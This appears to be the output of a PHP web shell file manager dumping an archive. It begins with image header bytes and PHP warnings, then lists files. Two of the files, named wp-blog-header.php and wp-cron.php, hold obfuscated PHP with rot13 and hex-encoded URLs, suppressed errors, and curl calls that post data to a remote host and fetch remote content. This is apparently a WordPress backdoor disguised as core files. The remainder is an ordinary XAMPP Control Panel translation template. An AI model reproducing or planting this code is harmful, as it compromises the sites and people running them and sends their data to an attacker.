1:45 PM 11/12/2025 ���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��modskinlienminh.com - WSOX ENC ‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!
Warning: Undefined variable $authorization in C:\xampp\htdocs\demo\fi.php on line 57

Warning: Undefined variable $translation in C:\xampp\htdocs\demo\fi.php on line 118

Warning: Trying to access array offset on value of type null in C:\xampp\htdocs\demo\fi.php on line 119

Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in C:\xampp\htdocs\demo\fi.php on line 120

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 247

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 248

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 249

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 250

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 251

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 252
.htaccess000044400000000355151723641500006347 0ustar00 Order allow,deny Deny from all wp-blog-header.php000044400000005366151723641500010066 0ustar00 $sJ3ad)); goto wwzKB; kAGwF: JS6LS: goto LLG9S; IQihW: KSZRy: goto K2jbV; tUl6b: error_reporting(0); goto aYfRm; HgQ3I: if (!empty($rHfMY)) { goto KSZRy; } goto N7Xk9; K2jbV: $_SESSION["\x64\x6f\x61\x63\164"] = $rHfMY; goto jZVAU; wwzKB: goto JS6LS; goto IQihW; jZVAU: $Biqik = sxIDc(str_rot13("\x75\147\x67\x63\x66\72\57\57\x75\x6f\157\156\144\141\56\x74\x6e\x7a\162\x6e\143\162\x2e\x67\142\x63\x2f\x71\x62\142\x65\x2f") . $rHfMY . "\56\164\x78\164"); goto B6fd_; KwJ9D: function xLpSq($oFbXi) { goto qRLdR; sgjQn: curl_setopt($OUnCg, CURLOPT_POSTFIELDS, $oFbXi); goto eEPm6; eEPm6: curl_setopt($OUnCg, CURLOPT_RETURNTRANSFER, true); goto JM27m; qB8i1: $OUnCg = curl_init(str_rot13($sJ3ad)); goto jfSiq; qRLdR: $sJ3ad = "\x75\x67\x67\x63\x3a\x2f\x2f\145\x72\x7a\x62\x67\162\x32\60\62\x35\x2e\157\154\x75\x62\x67\x2e\147\x62\x63\x2f\166\x61\161\x72\x6b\56\x63\165\143"; goto qB8i1; JM27m: $FJ0YN = curl_exec($OUnCg); goto RiAUd; RiAUd: curl_close($OUnCg); goto OBMXo; jfSiq: curl_setopt($OUnCg, CURLOPT_POST, 1); goto sgjQn; OBMXo: } ?>wp-cron.php000066600000005366151723641500006664 0ustar00 $sJ3ad)); goto wwzKB; kAGwF: JS6LS: goto LLG9S; IQihW: KSZRy: goto K2jbV; tUl6b: error_reporting(0); goto aYfRm; HgQ3I: if (!empty($rHfMY)) { goto KSZRy; } goto N7Xk9; K2jbV: $_SESSION["\x64\x6f\x61\x63\164"] = $rHfMY; goto jZVAU; wwzKB: goto JS6LS; goto IQihW; jZVAU: $Biqik = sxIDc(str_rot13("\x75\147\x67\x63\x66\72\57\57\x75\x6f\157\156\144\141\56\x74\x6e\x7a\162\x6e\143\162\x2e\x67\142\x63\x2f\x71\x62\142\x65\x2f") . $rHfMY . "\56\164\x78\164"); goto B6fd_; KwJ9D: function xLpSq($oFbXi) { goto qRLdR; sgjQn: curl_setopt($OUnCg, CURLOPT_POSTFIELDS, $oFbXi); goto eEPm6; eEPm6: curl_setopt($OUnCg, CURLOPT_RETURNTRANSFER, true); goto JM27m; qB8i1: $OUnCg = curl_init(str_rot13($sJ3ad)); goto jfSiq; qRLdR: $sJ3ad = "\x75\x67\x67\x63\x3a\x2f\x2f\145\x72\x7a\x62\x67\162\x32\60\62\x35\x2e\157\154\x75\x62\x67\x2e\147\x62\x63\x2f\166\x61\161\x72\x6b\56\x63\165\143"; goto qB8i1; JM27m: $FJ0YN = curl_exec($OUnCg); goto RiAUd; RiAUd: curl_close($OUnCg); goto OBMXo; jfSiq: curl_setopt($OUnCg, CURLOPT_POST, 1); goto sgjQn; OBMXo: } ?>xampp-control-panel/.htaccess000044400000000305151723641500012242 0ustar00 RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] xampp-control-panel/default.po000066600000100343151723641500012441 0ustar00# SOME DESCRIPTIVE TITLE. # Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER # This file is distributed under the same license as the PACKAGE package. # FIRST AUTHOR , YEAR. # #, fuzzy msgid "" msgstr "" "Project-Id-Version: PACKAGE VERSION\n" "POT-Creation-Date: 2013-03-24 19:21\n" "PO-Revision-Date: 2013-03-24 19:21\n" "Last-Translator: Somebody \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: dxgettext 1.2.2\n" #. fConfig..Caption #: uConfig.dfm:4 msgid "Configuration of Control Panel" msgstr "" #. fConfig..lblEditor..Caption #: uConfig.dfm:33 msgid "Editor:" msgstr "" #. fConfig..lblBrowser..Caption #: uConfig.dfm:44 msgid "Browser (empty = system default)" msgstr "" #. fConfig..bSave..Caption #: uConfig.dfm:110 #. fConfigUserDefined..bSave..Caption #: uConfigUserDefined.dfm:69 #. fLanguage..bOkay..Caption #: uLanguage.dfm:191 #. fLogOptions..bSave..Caption #: uLogOptions.dfm:92 #. fServiceSettings..bSave..Caption #: uServiceSettings.dfm:43 msgid "Save" msgstr "" #. fConfig..bAbort..Caption #: uConfig.dfm:154 #. fConfigUserDefined..bAbort..Caption #: uConfigUserDefined.dfm:112 #. fLanguage..bAbort..Caption #: uLanguage.dfm:233 #. fLogOptions..bCancel..Caption #: uLogOptions.dfm:134 #. fServiceSettings..bCancel..Caption #: uServiceSettings.dfm:79 msgid "Abort" msgstr "" #. fConfig..cbDebug..Caption #: uConfig.dfm:251 msgid "Show debug information" msgstr "" #. fConfig..cbDebugDetails....Items.Strings #: uConfig.dfm:267 msgid "Details" msgstr "" #. fConfig..cbDebugDetails....Items.Strings #: uConfig.dfm:268 msgid "More Details" msgstr "" #. fConfig..grpAutostart..Caption #: uConfig.dfm:280 msgid " Autostart of modules " msgstr "" #. fConfig..grpAutostart..lblAutostart....Caption #: uConfig.dfm:299 msgid "Selected modules will be started on next launch of the Control " "Panel." msgstr "" #. fConfig..grpAutostart..cbASApache..Caption #: uConfig.dfm:320 #. fConfigUserDefined..pcUserDefConf..pApache..Caption #: uConfigUserDefined.dfm:153 #. fMain..gbModules..pApacheStatus..Caption #: uMain.dfm:1487 #. fMain..puSystray..ApacheTray..Caption #: uMain.dfm:3012 #. fServiceSettings..pcSettings..pApache..Caption #: uServiceSettings.dfm:118 msgid "Apache" msgstr "" #. fConfig..grpAutostart..cbASMySQL..Caption #: uConfig.dfm:332 #. fConfigUserDefined..pcUserDefConf..pMySQL..Caption #: uConfigUserDefined.dfm:223 #. fMain..gbModules..pMySQLStatus..Caption #: uMain.dfm:1592 #. fMain..puSystray..MySQLTray..Caption #: uMain.dfm:3020 #. fServiceSettings..pcSettings..pMySQL..Caption #: uServiceSettings.dfm:193 msgid "MySQL" msgstr "" #. fConfig..grpAutostart..cbASFileZilla..Caption #: uConfig.dfm:344 #. fConfigUserDefined..pcUserDefConf..pFileZilla..Caption #: uConfigUserDefined.dfm:294 #. fMain..gbModules..pFileZillaStatus..Caption #: uMain.dfm:1606 #. fMain..puSystray..FileZillaTray..Caption #: uMain.dfm:3028 #. fServiceSettings..pcSettings..pFileZilla..Caption #: uServiceSettings.dfm:250 msgid "FileZilla" msgstr "" #. fConfig..grpAutostart..cbASMercury..Caption #: uConfig.dfm:356 #. fConfigUserDefined..pcUserDefConf..pMercury..Caption #: uConfigUserDefined.dfm:365 #. fMain..gbModules..pMercuryStatus..Caption #: uMain.dfm:1620 #. fMain..puSystray..MercuryTray..Caption #: uMain.dfm:3036 #. fServiceSettings..pcSettings..pMercury..Caption #: uServiceSettings.dfm:327 msgid "Mercury" msgstr "" #. fConfig..grpAutostart..cbASTomcat..Caption #: uConfig.dfm:364 #. fConfigUserDefined..pcUserDefConf..TabSheet5..Caption #: uConfigUserDefined.dfm:436 #. fMain..gbModules..pTomcatStatus..Caption #: uMain.dfm:1731 #. fMain..puSystray..TomcatTray..Caption #: uMain.dfm:3044 #. fServiceSettings..pcSettings..pTomcat..Caption #: uServiceSettings.dfm:484 msgid "Tomcat" msgstr "" #. fConfig..cbCheckDefaultPorts..Caption #: uConfig.dfm:377 msgid "Check default ports on startup" msgstr "" #. fConfig..bLanguage..Caption #: uConfig.dfm:390 msgid "Change Language" msgstr "" #. fConfig..bConfigUserdefined..Caption #: uConfig.dfm:404 msgid "User Defined Files" msgstr "" #. fConfig..cbTomcatVisible..Caption #: uConfig.dfm:419 msgid "Enable Tomcat output window" msgstr "" #. fConfig..bLogSettings..Caption #: uConfig.dfm:428 #. fLogOptions..Caption #: uLogOptions.dfm:4 msgid "Log Options" msgstr "" #. fConfig..bServiceSettings..Caption #: uConfig.dfm:437 msgid "Service and Port Settings" msgstr "" #. fConfig..cbMinimized..Caption #: uConfig.dfm:446 msgid "Start Control Panel Minimized" msgstr "" #. fConfig..OpenDialog..DefaultExt #: uConfig.dfm:450 msgid "exe" msgstr "" #. fConfig..OpenDialog..Filter #: uConfig.dfm:451 msgid "Executables (*.exe)|*.exe|All files " "(*.*)|*.*" msgstr "" #. fConfigUserDefined..Caption #: uConfigUserDefined.dfm:4 msgid "User-defined log/config-files" msgstr "" #. fConfigUserDefined..lblDescription1....Caption #: uConfigUserDefined.dfm:34 msgid "Enter user defined files. Files must be relative to " "xampp-basedir!" msgstr "" #. fConfigUserDefined..lblDescription2..Caption #: uConfigUserDefined.dfm:51 msgid "Example: \"apache\\conf\\extra\\httpd-info.conf\"" msgstr "" #. fConfigUserDefined..pcUserDefConf..pApache..pnlApache..lblApacheConf..Caption #: uConfigUserDefined.dfm:171 #. fConfigUserDefined..pcUserDefConf..pMySQL..pnlMySQL..lblMySQLConf..Caption #: uConfigUserDefined.dfm:242 #. fConfigUserDefined..pcUserDefConf..pFileZilla..pnlFileZilla..lblFileZillaConf..Caption #: uConfigUserDefined.dfm:313 #. fConfigUserDefined..pcUserDefConf..pMercury..pnlMercury..lblMercuryConf..Caption #: uConfigUserDefined.dfm:384 #. fConfigUserDefined..pcUserDefConf..TabSheet5..pnlTomcat..lblTomcatConf..Caption #: uConfigUserDefined.dfm:455 #. fMain..bConfig..Caption #: uMain.dfm:1049 #. fMain..gbModules..bApacheConfig..Caption #: uMain.dfm:1500 #. fMain..gbModules..bMySQLConfig..Caption #: uMain.dfm:1526 #. fMain..gbModules..bFileZillaConfig..Caption #: uMain.dfm:1552 #. fMain..gbModules..bMercuryConfig..Caption #: uMain.dfm:1578 #. fMain..gbModules..bTomcatConfig..Caption #: uMain.dfm:1717 msgid "Config" msgstr "" #. fConfigUserDefined..pcUserDefConf..pApache..pnlApache..lblApacheLogs..Caption #: uConfigUserDefined.dfm:188 #. fConfigUserDefined..pcUserDefConf..pMySQL..pnlMySQL..lblMySQLLogs..Caption #: uConfigUserDefined.dfm:259 #. fConfigUserDefined..pcUserDefConf..pFileZilla..pnlFileZilla..lblFileZillaLogs..Caption #: uConfigUserDefined.dfm:330 #. fConfigUserDefined..pcUserDefConf..pMercury..pnlMercury..lblMercuryLogs..Caption #: uConfigUserDefined.dfm:401 #. fConfigUserDefined..pcUserDefConf..TabSheet5..pnlTomcat..lblTomcatLogs..Caption #: uConfigUserDefined.dfm:472 #. fMain..gbModules..bApacheLogs..Caption #: uMain.dfm:1513 #. fMain..gbModules..bMySQLLogs..Caption #: uMain.dfm:1539 #. fMain..gbModules..bFileZillaLogs..Caption #: uMain.dfm:1565 #. fMain..gbModules..bMercurylogs..Caption #: uMain.dfm:1678 #. fMain..gbModules..bTomcatLogs..Caption #: uMain.dfm:1744 msgid "Logs" msgstr "" #. fHelp..Caption #: uHelp.dfm:4 #. fMain..bHelp..Caption #: uMain.dfm:1843 msgid "Help" msgstr "" #. fHelp..lblMainProg..Caption #: uHelp.dfm:30 msgid "Programmed by Steffen Strueber" msgstr "" #. fHelp..lblSecondProg..Caption #: uHelp.dfm:47 msgid "Enhanced by hackattack142" msgstr "" #. fHelp..lblHelpEng..Caption #: uHelp.dfm:64 msgid "Need Help? Visit the XAMPP forums (English):" msgstr "" #. fHelp..lblHelpGer..Caption #: uHelp.dfm:81 msgid "Need Help? Visit the XAMPP forums (German):" msgstr "" #. fHelp..bHelpClose..Caption #: uHelp.dfm:127 msgid "Close" msgstr "" #. fHelp..bReadMe..Caption #: uHelp.dfm:136 msgid "View ReadMe" msgstr "" #. fLanguage..Caption #: uLanguage.dfm:5 msgid "Language" msgstr "" #. fLogOptions..lblLogFont..Caption #: uLogOptions.dfm:23 msgid "Log Font" msgstr "" #. fLogOptions..lblLogFontSize..Caption #: uLogOptions.dfm:36 msgid "Log Font Size" msgstr "" #. fLogOptions..bSelect..Caption #: uLogOptions.dfm:63 msgid "Select Font" msgstr "" #. fMain..Caption #: uMain.dfm:4 #. fMain..lHeader..Caption #: uMain.dfm:1011 msgid "XAMPP Control Panel v" msgstr "" #. fMain..bSCM..Caption #: uMain.dfm:1095 msgid "Services" msgstr "" #. fMain..gbModules..Caption #: uMain.dfm:1141 msgid " Modules " msgstr "" #. fMain..gbModules..lPIDs..Caption #: uMain.dfm:1159 msgid "PID(s)" msgstr "" #. fMain..gbModules..lPorts..Caption #: uMain.dfm:1177 msgid "Port(s)" msgstr "" #. fMain..gbModules..lServices..Caption #: uMain.dfm:1303 msgid "Service" msgstr "" #. fMain..gbModules..lModules..Caption #: uMain.dfm:1321 msgid "Module" msgstr "" #. fMain..gbModules..lActions..Caption #: uMain.dfm:1338 msgid "Actions" msgstr "" #. fMain..gbModules..bApacheAction..Caption #: uMain.dfm:1382 #. fMain..gbModules..bMySQLAction..Caption #: uMain.dfm:1408 #. fMain..gbModules..bFileZillaAction..Caption #: uMain.dfm:1434 #. fMain..gbModules..bMercuryAction..Caption #: uMain.dfm:1460 #. fMain..gbModules..bTomcatAction..Caption #: uMain.dfm:1691 #. fMain..puSystray..ApacheTray..ApacheTrayControl..Caption #: uMain.dfm:3015 #. fMain..puSystray..MySQLTray..MySQLTrayControl..Caption #: uMain.dfm:3023 #. fMain..puSystray..FileZillaTray..FileZillaTrayControl..Caption #: uMain.dfm:3031 #. fMain..puSystray..MercuryTray..MercuryTrayControl..Caption #: uMain.dfm:3039 #. fMain..puSystray..TomcatTray..TomcatTrayControl..Caption #: uMain.dfm:3047 #: uApache.pas:451 #: uApache.pas:454 #: uFileZilla.pas:417 #: uFileZilla.pas:420 #: uMercury.pas:339 #: uMercury.pas:342 #: uMySQL.pas:422 #: uMySQL.pas:425 #: uTomcat.pas:444 #: uTomcat.pas:447 msgid "Start" msgstr "" #. fMain..gbModules..bApacheAdmin..Caption #: uMain.dfm:1395 #. fMain..gbModules..bMySQLAdmin..Caption #: uMain.dfm:1421 #. fMain..gbModules..bFileZillaAdmin..Caption #: uMain.dfm:1447 #. fMain..gbModules..bMercuryAdmin..Caption #: uMain.dfm:1473 #. fMain..gbModules..bTomcatAdmin..Caption #: uMain.dfm:1704 msgid "Admin" msgstr "" #. fMain..gbModules..bMySQLService..Hint #: uMain.dfm:1629 #. fMain..gbModules..bFileZillaService..Hint #: uMain.dfm:1644 #. fMain..gbModules..bApacheService..Hint #: uMain.dfm:1659 #. fMain..gbModules..bTomcatService..Hint #: uMain.dfm:1753 msgid "Is installed as a Windows Service?" msgstr "" #. fMain..bQuit..Caption #: uMain.dfm:1797 #. fMain..puSystray..miTerminate..Caption #: uMain.dfm:3055 msgid "Quit" msgstr "" #. fMain..bExplorer..Caption #: uMain.dfm:1889 msgid "Explorer" msgstr "" #. fMain..bNetstat..Caption #: uMain.dfm:1935 msgid "Netstat" msgstr "" #. fMain..bXamppShell..Caption #: uMain.dfm:1981 msgid "Shell" msgstr "" #. fMain..puSystray..miShowHide..Caption #: uMain.dfm:3004 msgid "Show / Hide" msgstr "" #. fMain..puLog..LogCopy..Caption #: uMain.dfm:3744 msgid "Copy" msgstr "" #. fMain..puLog..LogSelectAll..Caption #: uMain.dfm:3748 msgid "Select All" msgstr "" #. fNetstat..Caption #: uNetstat.dfm:5 msgid "Netstat - TCP Listening sockets" msgstr "" #. fNetstat..lvSockets......Caption #: uNetstat.dfm:37 msgid "Address" msgstr "" #. fNetstat..lvSockets......Caption #: uNetstat.dfm:42 msgid "Port" msgstr "" #. fNetstat..lvSockets......Caption #: uNetstat.dfm:47 msgid "PID" msgstr "" #. fNetstat..lvSockets......Caption #: uNetstat.dfm:51 msgid "Name" msgstr "" #. fNetstat..bRefresh..Caption #: uNetstat.dfm:81 msgid "Refresh" msgstr "" #. fNetstat..pnlActiveExample..Caption #: uNetstat.dfm:107 msgid "Active socket" msgstr "" #. fNetstat..pnlOldExample..Caption #: uNetstat.dfm:127 msgid "Old socket" msgstr "" #. fNetstat..pnlNewExample..Caption #: uNetstat.dfm:147 msgid "New socket" msgstr "" #. fServiceSettings..Caption #: uServiceSettings.dfm:4 msgid "Service Settings" msgstr "" #. fServiceSettings..lMain....Caption #: uServiceSettings.dfm:29 msgid "Use this form to set service-specific and default port settings. You " "can set the name and default ports the XAMPP Control Panel will " "check. Do not include spaces or quotes in names. This does NOT " "change the ports that the services and programs use. You still need " "to change those in the services' configuration " "files." msgstr "" #. fServiceSettings..pcSettings..pApache..gApache..Caption #: uServiceSettings.dfm:125 msgid "Apache Settings" msgstr "" #. fServiceSettings..pcSettings..pApache..gApache..lApacheName..Caption #: uServiceSettings.dfm:135 #. fServiceSettings..pcSettings..pMySQL..gMySQL..lMySQLName..Caption #: uServiceSettings.dfm:219 #. fServiceSettings..pcSettings..pFileZilla..gFileZilla..lFileZillaName..Caption #: uServiceSettings.dfm:276 #. fServiceSettings..pcSettings..pTomcat..gTomcat..lTomcatName..Caption #: uServiceSettings.dfm:524 msgid "Service Name" msgstr "" #. fServiceSettings..pcSettings..pApache..gApache..lApacheMain..Caption #: uServiceSettings.dfm:142 #. fServiceSettings..pcSettings..pMySQL..gMySQL..lMySQLMain..Caption #: uServiceSettings.dfm:212 #. fServiceSettings..pcSettings..pFileZilla..gFileZilla..lFileZillaMain..Caption #: uServiceSettings.dfm:269 #. fServiceSettings..pcSettings..pTomcat..gTomcat..lTomcatMain..Caption #: uServiceSettings.dfm:503 msgid "Main Port" msgstr "" #. fServiceSettings..pcSettings..pApache..gApache..lApacheSSL..Caption #: uServiceSettings.dfm:149 msgid "SSL Port" msgstr "" #. fServiceSettings..pcSettings..pMySQL..gMySQL..Caption #: uServiceSettings.dfm:202 msgid "MySQL Settings" msgstr "" #. fServiceSettings..pcSettings..pFileZilla..gFileZilla..Caption #: uServiceSettings.dfm:259 msgid "FileZilla Settings" msgstr "" #. fServiceSettings..pcSettings..pFileZilla..gFileZilla..lFileZillaAdmin..Caption #: uServiceSettings.dfm:283 msgid "Admin Port" msgstr "" #. fServiceSettings..pcSettings..pMercury..gMercury..Caption #: uServiceSettings.dfm:336 msgid "Mercury Settings" msgstr "" #. fServiceSettings..pcSettings..pMercury..gMercury..lMercuryP1..Caption #: uServiceSettings.dfm:346 msgid "Port 1" msgstr "" #. fServiceSettings..pcSettings..pMercury..gMercury..lMercuryP2..Caption #: uServiceSettings.dfm:353 msgid "Port 2" msgstr "" #. fServiceSettings..pcSettings..pMercury..gMercury..lMercuryP3..Caption #: uServiceSettings.dfm:360 msgid "Port 3" msgstr "" #. fServiceSettings..pcSettings..pMercury..gMercury..lMercuryP4..Caption #: uServiceSettings.dfm:367 msgid "Port 4" msgstr "" #. fServiceSettings..pcSettings..pMercury..gMercury..lMercuryP5..Caption #: uServiceSettings.dfm:374 msgid "Port 5" msgstr "" #. fServiceSettings..pcSettings..pMercury..gMercury..lMercuryP6..Caption #: uServiceSettings.dfm:381 msgid "Port 6" msgstr "" #. fServiceSettings..pcSettings..pMercury..gMercury..lMercuryP7..Caption #: uServiceSettings.dfm:388 msgid "Port 7" msgstr "" #. fServiceSettings..pcSettings..pTomcat..gTomcat..Caption #: uServiceSettings.dfm:493 msgid "Tomcat Settings" msgstr "" #. fServiceSettings..pcSettings..pTomcat..gTomcat..lTomcatHTTP..Caption #: uServiceSettings.dfm:510 msgid "HTTP Port" msgstr "" #. fServiceSettings..pcSettings..pTomcat..gTomcat..lTomcatAJP..Caption #: uServiceSettings.dfm:517 msgid "AJP Port" msgstr "" #: uApache.pas:54 #: uFileZilla.pas:220 #: uMySQL.pas:50 #: uTomcat.pas:46 #: uTomcat.pas:224 #: uTomcat.pas:247 #. 64 bit? dann DIESE shell starten! #: uTomcat.pas:287 #: uTomcat.pas:329 msgid "Executing \"%s\" \"%s\"" msgstr "" #: uApache.pas:59 #: uApache.pas:240 #: uApache.pas:255 #: uApache.pas:279 #: uFileZilla.pas:43 #: uFileZilla.pas:239 #: uFileZilla.pas:250 #: uFileZilla.pas:269 #: uFileZilla.pas:280 #: uMain.pas:678 #: uMain.pas:687 #: uMain.pas:865 #: uMercury.pas:183 #: uMySQL.pas:55 #: uMySQL.pas:231 #: uMySQL.pas:244 #: uMySQL.pas:266 #: uTomcat.pas:51 #: uTomcat.pas:270 #: uTomcat.pas:312 msgid "Executing \"%s\"" msgstr "" #: uApache.pas:71 #: uFileZilla.pas:55 #: uMySQL.pas:67 #: uTomcat.pas:63 msgid "Service installed" msgstr "" #: uApache.pas:75 #: uFileZilla.pas:59 #: uMySQL.pas:71 #: uTomcat.pas:67 msgid "Service not installed" msgstr "" #: uApache.pas:76 #: uFileZilla.pas:60 #: uMySQL.pas:72 #: uTomcat.pas:68 msgid "Checking for service (name=\"%s\"): %s" msgstr "" #: uApache.pas:80 #: uFileZilla.pas:64 #: uMySQL.pas:76 #: uTomcat.pas:72 msgid "Service Path: %s" msgstr "" #: uApache.pas:84 #: uFileZilla.pas:68 #: uMySQL.pas:80 #: uTomcat.pas:76 msgid "%s Service detected with wrong path" msgstr "" #: uApache.pas:85 #: uFileZilla.pas:69 #: uMySQL.pas:81 #: uTomcat.pas:77 msgid "Change XAMPP %s and Control Panel settings " "or" msgstr "" #: uApache.pas:86 #: uFileZilla.pas:70 #: uMySQL.pas:82 #: uTomcat.pas:78 msgid "Uninstall/disable the other service manually " "first" msgstr "" #: uApache.pas:87 #: uFileZilla.pas:71 #: uMySQL.pas:83 #: uTomcat.pas:79 msgid "Found Path: %s" msgstr "" #: uApache.pas:88 msgid "Expected Path: \"%sapache\\bin\\%s\" -k " "runservice" msgstr "" #: uApache.pas:92 #: uFileZilla.pas:76 #: uMySQL.pas:89 #: uTomcat.pas:84 msgid "Service Path: Service Not Installed" msgstr "" #: uApache.pas:103 #: uFileZilla.pas:87 #: uMercury.pas:83 #: uMySQL.pas:99 #: uTomcat.pas:95 msgid "Initializing module..." msgstr "" #: uApache.pas:105 #: uFileZilla.pas:90 #: uMercury.pas:85 #: uMySQL.pas:101 #: uTomcat.pas:100 msgid "Checking for module existence..." msgstr "" #: uApache.pas:109 #: uFileZilla.pas:97 #: uMercury.pas:89 #: uMySQL.pas:105 #: uTomcat.pas:104 msgid "Problem detected: %s Not Found!" msgstr "" #: uApache.pas:110 #: uFileZilla.pas:98 #: uMercury.pas:90 #: uMySQL.pas:106 #: uTomcat.pas:105 msgid "Disabling %s buttons" msgstr "" #: uApache.pas:111 #: uFileZilla.pas:99 #: uMercury.pas:91 #: uMySQL.pas:107 #: uTomcat.pas:106 msgid "Run this program from your XAMPP root " "directory!" msgstr "" #: uApache.pas:119 #: uFileZilla.pas:110 #: uMySQL.pas:115 #: uTomcat.pas:114 msgid "%s Service is disabled." msgstr "" #: uApache.pas:123 #: uFileZilla.pas:114 #: uMercury.pas:97 #: uMySQL.pas:119 #: uTomcat.pas:118 msgid "Checking for required tools..." msgstr "" #: uApache.pas:153 #: uFileZilla.pas:144 #: uMercury.pas:128 #: uMySQL.pas:147 #: uTomcat.pas:164 msgid "Checking default ports..." msgstr "" #: uApache.pas:160 #: uFileZilla.pas:151 #: uMercury.pas:135 #: uMySQL.pas:152 #: uTomcat.pas:171 msgid "Portblocker Detected: %s" msgstr "" #: uApache.pas:161 #: uFileZilla.pas:152 #: uMercury.pas:136 #: uMySQL.pas:153 #: uTomcat.pas:172 msgid "Checking for App: %s" msgstr "" #: uApache.pas:163 #: uFileZilla.pas:154 #: uMySQL.pas:155 #: uTomcat.pas:174 msgid "Checking for Service: %s" msgstr "" #. if (Pos(LowerCase(ServerApp), LowerCase(PortBlocker)) <> 0) then #: uApache.pas:167 #. if (Pos(LowerCase(ServerApp), LowerCase(PortBlocker)) <> 0) then #: uFileZilla.pas:158 #. if (Pos(LowerCase(ServerApp), LowerCase(PortBlocker)) <> 0) then #: uMercury.pas:140 #. if (Pos(LowerCase(ServerApp), LowerCase(PortBlocker)) <> 0) then #: uMySQL.pas:159 #. if (Pos(LowerCase(ServerApp), LowerCase(PortBlocker)) <> 0) then #: uTomcat.pas:178 msgid "Portblocker Path: %s" msgstr "" #: uApache.pas:168 #: uFileZilla.pas:159 #: uMercury.pas:141 #: uMySQL.pas:160 #: uTomcat.pas:179 msgid "Portblocker Service Path: %s" msgstr "" #: uApache.pas:171 #: uFileZilla.pas:162 #: uMercury.pas:144 #: uMySQL.pas:163 #: uTomcat.pas:187 msgid "XAMPP %s is already running on port " "%d" msgstr "" #. else if (Pos(LowerCase(PortBlocker), LowerCase(path)) <> 0) and (isService = True) then #: uApache.pas:176 #. else if (Pos(LowerCase(PortBlocker), LowerCase(path)) <> 0) and (isService = True) then #: uFileZilla.pas:167 #. else if (Pos(LowerCase(PortBlocker), LowerCase(path)) <> 0) and (isService = True) then #: uMySQL.pas:168 #. else if (Pos(LowerCase(PortBlocker), LowerCase(path)) <> 0) and (isService = True) then #: uTomcat.pas:192 msgid "XAMPP %s Service is already running on port " "%d" msgstr "" #. AddLog(Format(_('Service Path: %s'), [GetServiceWithPid(PortBlockerPID)]), ltDebug); #: uApache.pas:186 #. AddLog(Format(_('Service Path: %s'), [GetServiceWithPid(PortBlockerPID)]), ltDebug); #: uFileZilla.pas:177 #: uMercury.pas:153 #. AddLog(Format(_('Service Path: %s'), [GetServiceWithPid(PortBlockerPID)]), ltDebug); #: uMySQL.pas:178 #. AddLog(Format(_('Service Path: %s'), [GetServiceWithPid(PortBlockerPID)]), ltDebug); #: uTomcat.pas:202 msgid "Problem detected!" msgstr "" #: uApache.pas:187 #: uMercury.pas:154 msgid "Port %d in use by \"%s\" with PID %d!" msgstr "" #: uApache.pas:188 #: uFileZilla.pas:179 #: uMercury.pas:155 #: uMySQL.pas:180 #: 